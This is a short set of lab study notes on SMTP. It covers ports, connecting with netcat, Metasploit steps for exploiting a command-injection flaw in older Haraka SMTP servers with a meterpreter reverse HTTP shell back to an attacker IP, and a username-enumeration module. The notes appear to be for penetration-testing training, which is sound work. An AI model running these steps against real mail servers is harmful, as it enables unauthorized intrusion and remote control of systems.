03-SMTP (25)

** #SMTP (Simple Mail Transfer Protocol)** [ Port: 25 or 465 or 587]


SMTP: is a communication protocol that is used for the transmission of email.

search type:auxiliary name:smtp

To connect to a SMTP server we use netcat: nc <ip> <port>

Haraka SMTP server:

is an Open-Source high performance SMTP server developed in Node.js.
The Haraka SMTP server comes with a plugin for processing attachments.
Haraka versions prior to V2.8.9 are vulnerable to command injection.

MSF Module:

exploit/linux/smtp/haraka

Then

set rhost <target_ip>

Then

set SRVPORT 9898

Then

set email_to root@attackdefense.test

Then set a staged payload:

set payload linux/x64/meterpreter_reverse_http

set LHOST

set LHOST <attacking_IP>

MSF Modules:

This module is very useful for collecting existing usernames on the target:

auxiliary/scanner/smtp/smtp_enum

Connected Pages
On this page
** #SMTP (Simple Mail Transfer Protocol)** [ Port: 25 or 465 or 587]
  • SMTP: is a communication protocol that is used for the transmission of email.
  • To connect to a SMTP server we use netcat: nc
  • Haraka SMTP server:
    1. MSF Module:
  • MSF Modules: